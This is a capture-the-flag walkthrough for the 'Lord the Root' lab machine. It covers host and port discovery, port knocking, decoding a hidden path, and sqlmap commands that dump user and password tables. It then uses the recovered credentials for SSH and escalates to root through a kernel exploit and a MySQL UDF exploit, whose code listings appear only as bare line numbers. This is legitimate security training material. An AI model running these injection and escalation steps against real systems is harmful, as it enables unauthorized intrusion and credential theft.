Lord the Root
Tools:
- netdiscover
- Nmap
- Wfuzz
- Nikto
- Burpsuite
- Sqlmap
Vulnerabilities:
- Linux Kernel 4.3.3 (Ubuntu 14.04/15.10) - ‘overlayfs’ Local Root Exploit (1)
- MySQL 4.x/5.0 - User-Defined Function (UDF) Local Privilege Escalation Exploit (Linux)
Use netdiscover to detect target IP address
netdiscover -i eth0 -r 192.168.41.0/24
192.168.41.159 is the target.
Then run nmap to detect opening ports and running services on the target machine.
nmap -sV -v -O -A -T5 192.168.41.159 -p-
Only port 22 is opening.
try to ssh to the box and check the banner
ssh root@192.168.41.159
find a hint Easy as 1,2,3
looks like port knocking, now try to send packet to port 1, 2 and 3 using port knocking script.
run nmap again,
port 1337 is openning and it is running http service.
I used both nikto and wfuzz, nothing interesting come out.
check the page
check the image info,
find an /images/
, go to the directory.
nothing cool. check the source code find a /icons/
.
check http://192.168.41.159:1337/robots.txt
I check THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh
and it is base64 encoded.
Decode it in hackbar, I get:
Lzk3ODM0NTIxMC9pbmRleC5waHA= Closer!
This is also base64 encoded.
Decode it again,
/978345210/index.php
save the post requst in burpsuit as file post.txt
sqlmap -r post.txt -p username --risk=3 --level=5
username is vulnerable.
get table name
sqlmap -r post.txt -p username --risk=3 --level=5 --dbms=mysql --tables
webapp database
mysql
get columns of webapp
sqlmap -r post.txt -p username --risk=3 --level=5 --dbms=mysql -D Webapp -T Users --columns
dump username and password
sqlmap -r post.txt -p username --risk=3 --level=5 --dbms=mysql -D Webapp -T Users -C username,password --dump
get colums of table user
sqlmap -r post.txt -p username --risk=3 --level=5 --dbms=mysql -D mysql -T user --columns
sqlmap -r post.txt -p username --risk=3 --level=5 --dbms=mysql -D mysql -T user -C User,Password --dump
try to login web using credential, however, I cannot find anywhere to upload webshell.
I try the credential to login ssh
and smeagol | MyPreciousR00t
works
Local exploit 1:
uname -a
then get:
Linux LordOfTheRoot 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:18:00 UTC 2015 i686 i686 i686 GNU/Linux
searchsploit Linux Kernel | grep Ubuntu
1 2 3 |
|
get the root
Local exploit 2:
ps aux |grep root
mysql is running under the root, which is wrong!
login mysql
mysql -u root -p
, password is darkshadow
, and the mysql version is 5.5.44.
searchsploit mysql | grep local
follow the instruction https://www.exploit-db.com/exploits/1518/
use the c code:(1518.c)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
|
1 2 |
|
in mysql
1 2 3 4 5 6 7 8 9 |
|
exploit is good. now use suid.c
in mysql:
1 2 |
|
in /tmp
./suid